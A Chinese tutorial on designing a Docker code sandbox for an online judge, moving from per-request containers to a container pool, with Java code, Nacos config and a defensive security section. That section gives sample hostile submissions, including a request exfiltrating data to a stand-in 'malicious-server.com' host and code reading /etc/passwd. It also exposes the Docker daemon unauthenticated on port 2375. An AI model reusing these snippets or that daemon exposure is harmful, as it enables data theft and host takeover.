前言:
本文详细介绍 OJ(Online Judge)系统中代码沙箱的设计与实现,从基础版本逐步演进到容器池优化版本,包括核心概念、安全机制、性能优化以及完整的代码实现。
一、什么是代码沙箱?
1.1 概念定义
代码沙箱(Code Sandbox) 是一种安全的代码执行环境,它将用户提交的代码运行在一个受限的、隔离的空间中,防止恶意代码对宿主系统造成危害。
在 OJ 系统中,用户提交的代码来源不可信,可能包含:
- 恶意系统调用(删除文件、修改系统配置)
- 无限循环导致 CPU 资源耗尽
- 内存炸弹(无限申请内存)
- 网络攻击(扫描端口、发送恶意请求)
- Fork 炸弹(无限创建进程)
代码沙箱通过资源隔离和限制,确保这些恶意行为不会影响系统安全。
1.2 为什么需要代码沙箱?
┌─────────────────────────────────────────────────────────────┐
│ 没有沙箱的情况 │
├─────────────────────────────────────────────────────────────┤
│ 用户代码 ──────────────────────► 宿主系统 │
│ │
│ 恶意代码可以: │
│ ❌ 删除系统文件 │
│ ❌ 窃取敏感数据 │
│ ❌ 消耗所有系统资源 │
│ ❌ 发起网络攻击 │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ 使用沙箱的情况 │
├─────────────────────────────────────────────────────────────┤
│ 用户代码 ────► 沙箱环境 ────► 受限的执行 │
│ │ │
│ ├── 内存限制(100MB) │
│ ├── CPU 限制(1 核心) │
│ ├── 网络隔离(禁止访问) │
│ └── 文件系统只读 │
└─────────────────────────────────────────────────────────────┘
1.3 常见的沙箱实现方式
| 方式 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| Docker 容器 | 隔离性好、配置灵活、生态成熟 | 启动有一定开销 | 生产环境 ✅ |
| 虚拟机 | 隔离性最强 | 资源占用大、启动慢 | 高安全需求 |
| chroot | 轻量级 | 隔离不彻底 | 简单场景 |
| seccomp | 系统调用级控制 | 配置复杂 | 配合其他方案 |
本项目选择 Docker 容器作为沙箱实现,因为它提供了良好的隔离性、成熟的生态和灵活的资源控制能力。
二、基础版本:每次请求创建新容器
2.1 基础版本的设计思路
在最初的实现中,我们采用了最直观的方式:每次代码执行请求都创建一个新的 Docker 容器,执行完成后立即销毁。
这种设计的初衷是保证每次执行的环境都是干净的,不会受到上一次执行的影响。从安全性角度来看,这种方案是非常可靠的------每个用户的代码都在全新的容器中运行,即使某个用户试图在容器中留下后门,容器销毁后也不会影响后续的执行。然而,这种方案的问题在于性能开销巨大,我们将在下文详细分析。
基础版本执行流程:
┌─────────────────────────────────────────────────────────────┐
│ │
│ 用户提交代码 │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 1. 创建代码文件 │ 将代码写入宿主机目录 │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 2. 初始化Docker │ 创建客户端连接 │
│ │ 拉取镜像 │ 检查并下载 JDK 镜像 │
│ │ 创建容器 ⚠️ │ 每次都新建容器(耗时!) │
│ │ 启动容器 │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 3. 编译代码 │ 在容器内执行 javac │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 4. 执行代码 │ 在容器内执行 java + 监控性能 │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 5. 清理资源 ⚠️ │ 停止容器、删除容器、关闭连接(耗时!) │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ 返回执行结果 │
│ │
└─────────────────────────────────────────────────────────────┘
2.2 基础版本核心代码:SandboxServiceImpl
基础版本的核心实现位于 SandboxServiceImpl 类中。这个类实现了 SandboxService 接口,提供了完整的代码执行生命周期管理。每次调用 exeJavaCode 方法时,都会经历以下完整流程:文件创建 → 容器创建 → 代码编译 → 代码执行 → 资源清理。
2.2.1 主入口方法
java
@Slf4j
@Service
public class SandboxServiceImpl implements SandboxService {
@Value("${sandbox.docker.host:tcp://localhost:2375}")
private String dockerHost;
@Value("${sandbox.limit.memory:100000000}")
private Long memoryLimit;
@Value("${sandbox.limit.time:5}")
private Long timeLimit;
private DockerClient dockerClient;
private String containerId;
private String userCodeDir;
@Override
public SandBoxExecuteResult exeJavaCode(Long userId, String userCode, List<String> inputList) {
// 1. 创建用户代码文件
createUserCodeFile(userId, userCode);
// 2. 初始化 Docker 沙箱(创建新容器)⚠️ 性能瓶颈
initDockerSanBox();
// 3. 编译代码
CompileResult compileResult = compileCodeByDocker();
if (!compileResult.isCompiled()) {
// 编译失败,清理资源
deleteContainer(); // ⚠️ 删除容器
deleteUserCodeFile();
return SandBoxExecuteResult.fail(CodeRunStatus.COMPILE_FAILED,
compileResult.getExeMessage());
}
// 4. 执行代码(内部会清理资源)
return executeJavaCodeByDocker(inputList);
}
}
2.2.2 每次创建新容器
下面的 initDockerSanBox() 方法是基础版本的核心问题所在。每次有新的代码执行请求时,这个方法都会被调用,完成以下工作:创建 Docker 客户端连接、拉取 JDK 镜像(首次)、配置安全策略、创建新容器并启动。其中,容器的创建和启动是最耗时的操作,通常需要 1-3 秒。
java
/**
* 初始化 Docker 沙箱 - 每次请求都会执行
* ⚠️ 性能问题:容器创建和启动需要 1-3 秒
*/
private void initDockerSanBox() {
// 1. 创建 Docker 客户端
DefaultDockerClientConfig clientConfig = DefaultDockerClientConfig
.createDefaultConfigBuilder()
.withDockerHost(dockerHost)
.build();
dockerClient = DockerClientBuilder
.getInstance(clientConfig)
.withDockerCmdExecFactory(new NettyDockerCmdExecFactory())
.build();
// 2. 拉取镜像(首次会下载,后续使用缓存)
pullJavaEnvImage();
// 3. 配置容器安全策略
HostConfig hostConfig = getHostConfig();
// 4. ⚠️ 创建新容器 - 这是性能瓶颈!
CreateContainerResponse response = dockerClient
.createContainerCmd(JudgeConstants.JAVA_ENV_IMAGE)
.withName(JudgeConstants.JAVA_CONTAINER_NAME)
.withHostConfig(hostConfig)
.withAttachStderr(true)
.withAttachStdout(true)
.withTty(true)
.exec();
containerId = response.getId();
// 5. 启动容器
dockerClient.startContainerCmd(containerId).exec();
}
2.2.3 安全配置(两个版本共用)
安全配置是代码沙箱的核心,无论是基础版本还是容器池版本,都使用相同的安全策略。getHostConfig() 方法配置了 Docker 容器的资源限制和安全隔离,这些配置确保了即使用户提交的代码是恶意的,也无法突破沙箱的限制。
java
/**
* 构建容器安全配置 - 这是沙箱安全的核心
*/
private HostConfig getHostConfig() {
HostConfig hostConfig = new HostConfig();
// 1. 目录挂载:将宿主机代码目录映射到容器内
hostConfig.setBinds(new Bind(userCodeDir,
new Volume(JudgeConstants.DOCKER_USER_CODE_DIR)));
// 2. 内存限制:防止内存炸弹攻击
hostConfig.withMemory(memoryLimit); // 100MB
hostConfig.withMemorySwap(memorySwapLimit); // 禁用交换分区
// 3. CPU 限制:防止 CPU 密集型攻击
hostConfig.withCpuCount(cpuLimit); // 1 核心
// 4. 网络隔离:完全禁用网络访问
hostConfig.withNetworkMode("none");
// 5. 文件系统保护:根目录只读
hostConfig.withReadonlyRootfs(true);
return hostConfig;
}
2.2.4 每次销毁容器
在代码执行完成后(无论成功还是失败),deleteContainer() 方法都会被调用来清理资源。这个方法包括三个步骤:停止容器、删除容器、关闭 Docker 客户端连接。虽然这些操作保证了系统资源的及时释放,但也带来了额外的时间开销。
java
/**
* 清理 Docker 资源 - 每次请求结束都会执行
* ⚠️ 性能问题:容器停止和删除需要 0.5-1 秒
*/
private void deleteContainer() {
// 1. 停止容器
dockerClient.stopContainerCmd(containerId).exec();
// 2. 删除容器
dockerClient.removeContainerCmd(containerId).exec();
// 3. 关闭 Docker 连接
try {
dockerClient.close();
} catch (IOException e) {
throw new RuntimeException("Docker客户端连接关闭失败", e);
}
}
2.3 基础版本的问题分析
通过上面的代码分析,我们可以清晰地看到基础版本存在明显的性能瓶颈。在一个典型的代码执行请求中,实际的代码编译和运行可能只需要几百毫秒,但容器的创建和销毁却需要数秒时间。下面的时间消耗表格详细展示了各个步骤的耗时占比:
时间消耗分析:
┌────────────────────────────────────────────────────────────┐
│ 操作 │ 耗时 │ 占比 │
├────────────────────────────────────────────────────────────┤
│ 创建代码文件 │ ~10ms │ 0.3% │
│ 创建 Docker 客户端 │ ~50ms │ 1.4% │
│ 创建容器 ⚠️ │ ~1500ms │ 42.9% │
│ 启动容器 │ ~500ms │ 14.3% │
│ 编译代码 │ ~200ms │ 5.7% │
│ 执行代码 │ ~500ms │ 14.3% │
│ 停止容器 ⚠️ │ ~300ms │ 8.6% │
│ 删除容器 ⚠️ │ ~400ms │ 11.4% │
│ 关闭连接 │ ~40ms │ 1.1% │
├────────────────────────────────────────────────────────────┤
│ 总计 │ ~3500ms │ 100% │
│ 其中容器创建/销毁占用 │ ~2700ms │ 77.2% │
└────────────────────────────────────────────────────────────┘
核心问题 :77% 的时间都花在了容器的创建和销毁上!
三、优化版本:引入容器池技术
3.1 容器池的核心思想
面对基础版本 77% 的时间都浪费在容器创建和销毁上的问题,我们引入了 容器池(Container Pool) 技术。容器池借鉴了数据库连接池、线程池等成熟的对象池设计模式,其核心思想是:预先创建一批容器,放入池中等待使用;当有请求时从池中获取一个容器,使用完毕后归还而不是销毁。
这种方式将容器创建的开销从"每次请求"转移到了"系统启动",从而大幅提升了运行时的响应速度。同时,由于容器是在服务启动时预先创建的,如果 Docker 环境有问题,可以在启动阶段就发现,而不是在用户请求时才暴露出来。
对比:基础版本 vs 容器池版本
┌─────────────────────────────────────────────────────────────────────┐
│ 基础版本 │
├─────────────────────────────────────────────────────────────────────┤
│ 请求1 ──► 创建容器(2s) ──► 执行(0.5s) ──► 销毁容器(1s) = 3.5s │
│ 请求2 ──► 创建容器(2s) ──► 执行(0.5s) ──► 销毁容器(1s) = 3.5s │
│ 请求3 ──► 创建容器(2s) ──► 执行(0.5s) ──► 销毁容器(1s) = 3.5s │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│ 容器池版本 │
├─────────────────────────────────────────────────────────────────────┤
│ 系统启动:预创建 4 个容器 ──► [C0, C1, C2, C3] 放入队列 │
│ │
│ 请求1 ──► 获取C0(0.01s) ──► 执行(0.5s) ──► 归还C0 = 0.51s │
│ 请求2 ──► 获取C1(0.01s) ──► 执行(0.5s) ──► 归还C1 = 0.51s │
│ 请求3 ──► 获取C2(0.01s) ──► 执行(0.5s) ──► 归还C2 = 0.51s │
│ │
│ 性能提升:3.5s → 0.51s,提升约 7 倍! │
└─────────────────────────────────────────────────────────────────────┘
3.2 容器池的核心优势
容器池版本相比基础版本,在多个维度都有显著的优势。不仅响应时间大幅缩短,而且系统的稳定性和并发能力也得到了提升:
| 特性 | 基础版本 | 容器池版本 |
|---|---|---|
| 响应时间 | ~3.5 秒 | ~0.5 秒 |
| 容器创建 | 每次请求都创建 | 系统启动时一次性创建 |
| 资源消耗 | 频繁创建销毁,开销大 | 容器复用,开销小 |
| 并发支持 | 串行处理 | 多容器并行处理 |
| 稳定性 | 运行时可能创建失败 | 启动时即验证可用性 |
四、容器池架构设计
在了解了容器池的核心思想后,让我们深入看看它在本项目中的具体架构设计。容器池模块作为判题服务的核心组件,负责管理所有 Docker 容器的生命周期。下图展示了容器池与其他组件的关系:
4.1 整体架构图
┌──────────────────────────────────────────────────────────────────┐
│ OJ 判题服务 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────────┐ ┌──────────────┐ │
│ │ JudgeService│ ───► │SandboxPoolService│ ───► │DockerSandBox │ │
│ │ 判题服务 │ │ 沙箱池服务 │ │ Pool │ │
│ └─────────────┘ └─────────────────┘ │ 容器池 │ │
│ │ │ └──────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌─────────────────┐ ┌──────────────┐ │
│ │ 结果比对 │ │ 代码编译/执行 │ │ Docker引擎 │ │
│ └─────────────┘ └─────────────────┘ └──────────────┘ │
│ │ │
└────────────────────────────────────────────────────────┼─────────┘
│
┌────────────────────────────────────┼────────┐
│ Docker 容器层 │
├────────────────────────────────────┼────────┤
│ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐│
│ │容器-0 │ │容器-1 │ │容器-2 │ │容器-3 ││
│ │JDK环境 │ │JDK环境 │ │JDK环境 │ │JDK环境 ││
│ └────────┘ └────────┘ └────────┘ └────────┘│
└─────────────────────────────────────────────┘
4.2 核心类关系
容器池的实现涉及三个核心类,它们分工明确、各司其职:
-
DockerSandBoxPoolConfig:配置类,负责读取配置文件并创建 Spring Bean
-
DockerSandBoxPool:容器池核心类,管理容器的创建、分配和回收
-
SandboxPoolServiceImpl:执行服务类,负责在容器中编译和运行代码
┌─────────────────────────────────────────────────────────────────┐
│ 类关系图 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ DockerSandBoxPoolConfig (配置类) │
│ │ │
│ ├── @Bean DockerClient 创建 Docker 客户端 │
│ └── @Bean DockerSandBoxPool 创建容器池实例 │
│ │ │
│ ▼ │
│ DockerSandBoxPool (容器池) │
│ │ │
│ ├── initDockerPool() 初始化容器池 │
│ ├── getContainer() 获取可用容器 │
│ ├── returnContainer() 归还容器 │
│ └── getCodeDir() 获取代码目录 │
│ │ │
│ ▼ │
│ SandboxPoolServiceImpl (执行服务) │
│ │ │
│ ├── exeJavaCode() 执行 Java 代码 │
│ ├── compileCodeByDocker() 编译代码 │
│ └── executeJavaCodeByDocker() 运行代码 │
│ │
└─────────────────────────────────────────────────────────────────┘
五、容器池核心代码实现
接下来,我们将深入分析容器池的核心代码实现。这部分代码展示了如何使用 Spring Boot 和 docker-java 库来构建一个高效的容器池系统。
5.1 配置类:DockerSandBoxPoolConfig
配置类是容器池的入口点。它使用 Spring 的 @Configuration 和 @Value 注解,从 Nacos 配置中心读取各种参数,并创建 Docker 客户端和容器池实例。这种设计使得所有配置都可以在不修改代码的情况下动态调整。
java
@Configuration
public class DockerSandBoxPoolConfig {
// Docker 守护进程连接地址
@Value("${sandbox.docker.host:tcp://localhost:2375}")
private String dockerHost;
// 沙盒镜像名称
@Value("${sandbox.docker.image:amazoncorretto:8-alpine}")
private String sandboxImage;
// 容器内挂载目录
@Value("${sandbox.docker.volume:/usr/share/java}")
private String volumeDir;
// 资源限制配置
@Value("${sandbox.limit.memory:100000000}") // 100MB
private Long memoryLimit;
@Value("${sandbox.limit.cpu:1}") // 1 核心
private Long cpuLimit;
// 容器池大小
@Value("${sandbox.docker.pool.size:4}")
private int poolSize;
配置说明表:
| 配置项 | 默认值 | 说明 |
|---|---|---|
sandbox.docker.host |
tcp://localhost:2375 |
Docker 守护进程地址 |
sandbox.docker.image |
amazoncorretto:8-alpine |
JDK 镜像名称 |
sandbox.limit.memory |
100000000 (100MB) |
内存限制 |
sandbox.limit.cpu |
1 |
CPU 核心数限制 |
sandbox.docker.pool.size |
4 |
容器池大小 |
创建 Docker 客户端:
java
@Bean
public DockerClient createDockerClient() {
// 创建 Docker 客户端配置
DefaultDockerClientConfig clientConfig = DefaultDockerClientConfig
.createDefaultConfigBuilder()
.withDockerHost(dockerHost) // 设置连接地址
.build();
// 使用 Netty 作为底层通信框架,性能更好
return DockerClientBuilder
.getInstance(clientConfig)
.withDockerCmdExecFactory(new NettyDockerCmdExecFactory())
.build();
}
5.2 容器池核心:DockerSandBoxPool
DockerSandBoxPool 是整个沙箱系统的核心类,实现了经典的对象池模式。它的主要职责包括:
- 在系统启动时预创建指定数量的 Docker 容器
- 提供线程安全的容器获取和归还接口
- 管理容器与代码目录的映射关系
- 支持服务重启时的容器复用
5.2.1 核心属性
java
@Slf4j
public class DockerSandBoxPool {
private DockerClient dockerClient; // Docker 客户端
private String sandboxImage; // 沙盒镜像
private String volumeDir; // 挂载目录
private Long memoryLimit; // 内存限制
private Long cpuLimit; // CPU 限制
private int poolSize; // 池大小
// 【核心】使用阻塞队列管理可用容器
private BlockingQueue<String> containerQueue;
// 容器 ID 到容器名称的映射
private Map<String, String> containerNameMap;
}
为什么使用 BlockingQueue?
BlockingQueue 是 Java 并发包中的阻塞队列,具有以下特性:
-
线程安全:多线程并发访问时自动同步
-
阻塞等待 :当队列为空时,
take()方法会阻塞等待 -
自动唤醒:当有容器归还时,等待的线程自动被唤醒
并发场景示意:
┌─────────────────────────────────────────────────────────────┐
│ 线程 A ──► containerQueue.take() ──► 获取 Container-0 │
│ 线程 B ──► containerQueue.take() ──► 获取 Container-1 │
│ 线程 C ──► containerQueue.take() ──► 队列为空,阻塞等待... │
│ │
│ 线程 A 执行完毕 ──► containerQueue.add(Container-0) │
│ 线程 C 被唤醒 ──► 获取 Container-0 │
└─────────────────────────────────────────────────────────────┘
5.2.2 容器池初始化
容器池的初始化在服务启动时执行。initDockerPool() 方法会根据配置的池大小,循环创建指定数量的容器。每个容器都有唯一的名称(如 oj-sandbox-jdk-0、oj-sandbox-jdk-1 等),方便后续的管理和调试。
java
public void initDockerPool() {
log.info("------ 创建容器开始 -----");
// 循环创建指定数量的容器
for(int i = 0; i < poolSize; i++) {
// 生成容器名称:oj-sandbox-jdk-0, oj-sandbox-jdk-1, ...
createContainer(containerNamePrefix + "-" + i);
}
log.info("------ 创建容器结束 -----");
}
5.2.3 容器创建逻辑
createContainer() 方法是容器创建的核心逻辑。它首先检查是否已存在同名容器(支持服务重启时的容器复用),如果存在则直接复用,否则创建新容器。这种设计避免了每次服务重启都要重新创建容器的开销,进一步提升了系统的启动速度。
java
private void createContainer(String containerName) {
// 第一步:检查是否存在同名容器(支持重启复用)
List<Container> containerList = dockerClient.listContainersCmd()
.withShowAll(true) // 包括已停止的容器
.exec();
if (!CollectionUtil.isEmpty(containerList)) {
String names = "/" + containerName;
for (Container container : containerList) {
if (names.equals(container.getNames()[0])) {
// 如果容器已存在但停止,直接启动复用
if ("exited".equals(container.getState())) {
dockerClient.startContainerCmd(container.getId()).exec();
}
containerQueue.add(container.getId());
containerNameMap.put(container.getId(), containerName);
return; // 复用成功
}
}
}
// 第二步:创建新容器
pullJavaEnvImage(); // 确保镜像存在
HostConfig hostConfig = getHostConfig(containerName); // 配置安全策略
CreateContainerResponse response = dockerClient
.createContainerCmd(sandboxImage)
.withName(containerName)
.withHostConfig(hostConfig)
.withAttachStderr(true) // 捕获错误输出
.withAttachStdout(true) // 捕获标准输出
.withTty(true) // 分配伪终端
.exec();
// 启动容器并加入队列
dockerClient.startContainerCmd(response.getId()).exec();
containerQueue.add(response.getId());
containerNameMap.put(response.getId(), containerName);
}
5.2.4 安全配置(重点!)
安全配置是代码沙箱的重中之重。getHostConfig() 方法配置了容器的资源限制和安全策略,确保即使用户提交的代码是恶意的,也无法突破沙箱的限制。下面的代码展示了如何配置内存限制、CPU 限制、网络隔离和文件系统保护:
java
private HostConfig getHostConfig(String containerName) {
HostConfig hostConfig = new HostConfig();
// 1. 文件挂载:将宿主机目录挂载到容器内
String userCodeDir = createContainerDir(containerName);
hostConfig.setBinds(new Bind(userCodeDir, new Volume(volumeDir)));
// 2. 资源限制
hostConfig.withMemory(memoryLimit); // 内存限制:100MB
hostConfig.withMemorySwap(memorySwapLimit); // 禁用交换分区
hostConfig.withCpuCount(cpuLimit); // CPU 限制:1 核心
// 3. 安全策略(关键!)
hostConfig.withNetworkMode("none"); // 禁用网络访问
hostConfig.withReadonlyRootfs(true); // 根目录只读
return hostConfig;
}
安全配置详解:
| 配置 | 作用 | 防御的攻击 |
|---|---|---|
withMemory(100MB) |
限制内存使用 | 内存炸弹、无限申请内存 |
withCpuCount(1) |
限制 CPU 核心 | 死循环、CPU 密集型攻击 |
withNetworkMode("none") |
禁用网络 | 网络扫描、数据外泄、DDoS |
withReadonlyRootfs(true) |
根目录只读 | 系统文件篡改、病毒植入 |
5.2.5 容器获取与归还
容器的获取和归还是容器池的核心操作。getContainer() 方法使用阻塞队列的 take() 方法,当队列为空时会自动阻塞等待,直到有容器可用。returnContainer() 方法将使用完的容器放回队列,供其他请求使用。这种设计保证了线程安全和资源的合理分配:
java
// 获取容器(阻塞式)
public String getContainer() {
try {
// take() 方法会阻塞,直到有可用容器
return containerQueue.take();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
// 归还容器
public void returnContainer(String containerId) {
// 将容器 ID 放回队列,供其他请求使用
containerQueue.add(containerId);
}
5.3 执行服务:SandboxPoolServiceImpl
SandboxPoolServiceImpl 是代码执行的服务层,它作为容器池的上层调用者,负责以下职责:
- 从容器池获取可用容器
- 创建用户代码文件
- 在容器内执行编译命令
- 在容器内执行运行命令并监控性能
- 收集执行结果并归还容器
5.3.1 执行入口
java
@Service
@Slf4j
public class SandboxPoolServiceImpl implements SandboxPoolService {
@Autowired
private DockerSandBoxPool sandBoxPool;
@Autowired
private DockerClient dockerClient;
@Value("${sandbox.limit.time:5}")
private Long timeLimit; // 执行超时限制(秒)
@Override
public SandBoxExecuteResult exeJavaCode(Long userId, String userCode,
List<String> inputList) {
// 1. 获取可用容器
containerId = sandBoxPool.getContainer();
// 2. 创建用户代码文件
createUserCodeFile(userCode);
// 3. 编译代码
CompileResult compileResult = compileCodeByDocker();
if (!compileResult.isCompiled()) {
// 编译失败,清理资源并返回
sandBoxPool.returnContainer(containerId);
deleteUserCodeFile();
return SandBoxExecuteResult.fail(CodeRunStatus.COMPILE_FAILED,
compileResult.getExeMessage());
}
// 4. 执行代码
return executeJavaCodeByDocker(inputList);
}
}
5.3.2 代码编译
代码编译是执行流程的第一步。compileCodeByDocker() 方法通过 Docker 的 exec API 在容器内执行 javac 命令。如果编译失败,会捕获错误信息并返回给用户,帮助用户定位代码中的语法错误:
java
private CompileResult compileCodeByDocker() {
// 创建编译命令:javac /usr/share/java/Solution.java
String cmdId = createExecCmd(
new String[]{"javac", "/usr/share/java/Solution.java"},
null,
containerId
);
DockerStartResultCallback resultCallback = new DockerStartResultCallback();
CompileResult compileResult = new CompileResult();
try {
// 执行编译命令
dockerClient.execStartCmd(cmdId)
.exec(resultCallback)
.awaitCompletion(); // 等待编译完成
// 判断编译结果
if (CodeRunStatus.FAILED.equals(resultCallback.getCodeRunStatus())) {
compileResult.setCompiled(false);
compileResult.setExeMessage(resultCallback.getErrorMessage());
} else {
compileResult.setCompiled(true);
}
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
return compileResult;
}
5.3.3 代码执行与监控
代码执行是整个流程的核心环节。executeJavaCodeByDocker() 方法不仅负责执行用户代码,还要监控执行过程中的性能指标(内存和时间)。这些指标对于 OJ 系统来说非常重要,因为很多题目不仅要求答案正确,还有时间和空间复杂度的限制:
java
private SandBoxExecuteResult executeJavaCodeByDocker(List<String> inputList) {
List<String> outList = new ArrayList<>();
long maxMemory = 0L;
long maxUseTime = 0L;
// 逐个执行测试用例
for (String inputArgs : inputList) {
// 创建执行命令:java -cp /usr/share/java Solution [参数]
String cmdId = createExecCmd(
new String[]{"java", "-cp", "/usr/share/java", "Solution"},
inputArgs,
containerId
);
// 启动性能监控
StopWatch stopWatch = new StopWatch();
StatsCmd statsCmd = dockerClient.statsCmd(containerId);
StatisticsCallback statisticsCallback = statsCmd.exec(new StatisticsCallback());
stopWatch.start();
DockerStartResultCallback resultCallback = new DockerStartResultCallback();
try {
// 执行代码,设置超时限制
dockerClient.execStartCmd(cmdId)
.exec(resultCallback)
.awaitCompletion(timeLimit, TimeUnit.SECONDS); // 超时控制
if (CodeRunStatus.FAILED.equals(resultCallback.getCodeRunStatus())) {
return SandBoxExecuteResult.fail(CodeRunStatus.NOT_ALL_PASSED);
}
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
// 停止计时和监控
stopWatch.stop();
statsCmd.close();
// 收集性能数据
maxUseTime = Math.max(stopWatch.getLastTaskTimeMillis(), maxUseTime);
if (statisticsCallback.getMaxMemory() != null) {
maxMemory = Math.max(maxMemory, statisticsCallback.getMaxMemory());
}
// 收集输出结果
outList.add(resultCallback.getMessage().trim());
}
// 清理资源
sandBoxPool.returnContainer(containerId);
deleteUserCodeFile();
return SandBoxExecuteResult.success(CodeRunStatus.SUCCEED, outList,
maxMemory, maxUseTime);
}
六、代码执行完整流程
为了更直观地理解整个系统的工作方式,下面我们通过流程图和时序图来展示一次完整的代码执行过程。从用户提交代码开始,到最终返回判题结果,将经历以下几个关键步骤:
6.1 流程图
┌─────────────────────────────────────────────────────────────────────┐
│ 代码执行完整流程 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 用户提交代码 │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ JudgeService │ 接收判题请求 │
│ │ doJudgeJavaCode │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │SandboxPoolService│ 调用沙箱服务 │
│ │ exeJavaCode │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ ┌──────────────────┐ │
│ │ 1.获取容器 │ ◄── │ DockerSandBoxPool │ │
│ │ getContainer() │ │ 阻塞队列获取 │ │
│ └────────┬────────┘ └──────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ ┌──────────────────┐ │
│ │ 2.创建代码文件 │ ──► │ 宿主机挂载目录 │ │
│ │createUserCodeFile│ │ /user-code-pool/ │ │
│ └────────┬────────┘ └──────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ ┌──────────────────┐ │
│ │ 3.编译代码 │ ──► │ 容器内执行 │ │
│ │ javac Solution │ │ javac 命令 │ │
│ └────────┬────────┘ └──────────────────┘ │
│ │ │
│ ┌─────┴─────┐ │
│ │编译成功? │ │
│ └─────┬─────┘ │
│ 是 │ 否 │
│ │ └───► 返回编译错误信息 │
│ ▼ │
│ ┌─────────────────┐ ┌──────────────────┐ │
│ │ 4.执行代码 │ ──► │ 容器内执行 │ │
│ │ java Solution │ │ java 命令 │ │
│ │ + 性能监控 │ │ + 资源统计 │ │
│ └────────┬────────┘ └──────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 5.归还容器 │ │
│ │returnContainer │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 6.结果比对 │ 比较输出与预期答案 │
│ │ + 计算得分 │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ 返回判题结果 │
│ │
└─────────────────────────────────────────────────────────────────────┘
6.2 时序图
时序图更清晰地展示了各个组件之间的交互顺序。可以看到,容器池的引入使得获取容器变成了一个简单的队列操作,而不是耗时的容器创建过程:
User JudgeService SandboxPoolService DockerSandBoxPool Docker
│ │ │ │ │
│──提交代码───►│ │ │ │
│ │──exeJavaCode()──►│ │ │
│ │ │──getContainer()───►│ │
│ │ │◄───containerId─────│ │
│ │ │ │ │
│ │ │──创建代码文件──────────────────────►│
│ │ │ │ │
│ │ │──execStartCmd(javac)───────────────►│
│ │ │◄──────编译结果──────────────────────│
│ │ │ │ │
│ │ │──execStartCmd(java)────────────────►│
│ │ │ + statsCmd 监控 │ │
│ │ │◄──────执行结果+性能数据─────────────│
│ │ │ │ │
│ │ │──returnContainer()─►│ │
│ │◄──执行结果───────│ │ │
│ │ │ │ │
│ │──结果比对────────│ │ │
│◄──判题结果───│ │ │ │
│ │ │ │ │
七、配置指南
本节提供了容器池的完整配置示例。所有配置都可以通过 Nacos 配置中心进行动态管理,无需重启服务即可生效(除容器池大小外)。
7.1 Nacos 配置示例
在 Nacos 配置中心添加以下配置,根据实际环境调整参数值:
yaml
# ================= Docker 沙箱配置 =================
sandbox:
docker:
host: tcp://localhost:2375 # Docker 守护进程地址
image: amazoncorretto:8-alpine # JDK 镜像
volume: /usr/share/java # 容器内代码目录
pool:
size: 4 # 容器池大小
name-prefix: oj-sandbox-jdk # 容器名称前缀
limit:
memory: 100000000 # 内存限制:100MB
memory-swap: 100000000 # 禁用交换分区
cpu: 1 # CPU 核心数
time: 5 # 执行超时:5秒
7.2 Docker 环境准备
在部署判题服务之前,需要确保 Docker 环境已正确配置。以下是必要的准备步骤:
bash
# 1. 拉取 JDK 镜像
docker pull amazoncorretto:8-alpine
# 2. 开启 Docker TCP 端口(开发环境)
# Windows Docker Desktop: Settings -> General -> Expose daemon on tcp://localhost:2375
# 3. 验证连接
curl http://localhost:2375/version
八、安全防护深度解析
代码沙箱的核心目标是安全。本节深入分析常见的攻击场景以及我们的防御措施,帮助读者更好地理解安全设计的必要性。
8.1 常见攻击场景与防御
8.1.1 内存炸弹攻击
攻击代码示例:
java
// 恶意代码:无限申请内存
public class Main {
public static void main(String[] args) {
List<byte[]> list = new ArrayList<>();
while (true) {
list.add(new byte[1024 * 1024]); // 每次申请 1MB
}
}
}
防御机制:
withMemory(100MB)限制容器最大内存为 100MBwithMemorySwap(100MB)禁用交换分区,防止使用磁盘作为虚拟内存- 超出限制时,容器会被强制终止(OOM Killer)
8.1.2 CPU 密集型攻击
攻击代码示例:
java
// 恶意代码:无限循环占用 CPU
public class Main {
public static void main(String[] args) {
while (true) {
// 死循环,消耗 CPU 资源
}
}
}
防御机制:
withCpuCount(1)限制容器只能使用 1 个 CPU 核心awaitCompletion(timeLimit, TimeUnit.SECONDS)设置执行超时(默认 5 秒)- 超时后强制终止执行,返回超时错误
8.1.3 网络攻击
攻击代码示例:
java
// 恶意代码:尝试网络请求
public class Main {
public static void main(String[] args) throws Exception {
URL url = new URL("http://malicious-server.com/steal?data=xxx");
url.openConnection().getInputStream(); // 尝试外发数据
}
}
防御机制:
withNetworkMode("none")完全禁用容器网络- 容器内部无法访问任何网络资源,包括 localhost
- 即使代码尝试建立网络连接,也会立即失败
8.1.4 文件系统攻击
攻击代码示例:
java
// 恶意代码:尝试读取敏感文件
public class Main {
public static void main(String[] args) throws Exception {
Files.readAllLines(Paths.get("/etc/passwd")); // 读取系统文件
Files.write(Paths.get("/tmp/virus"), "malware".getBytes()); // 写入恶意文件
}
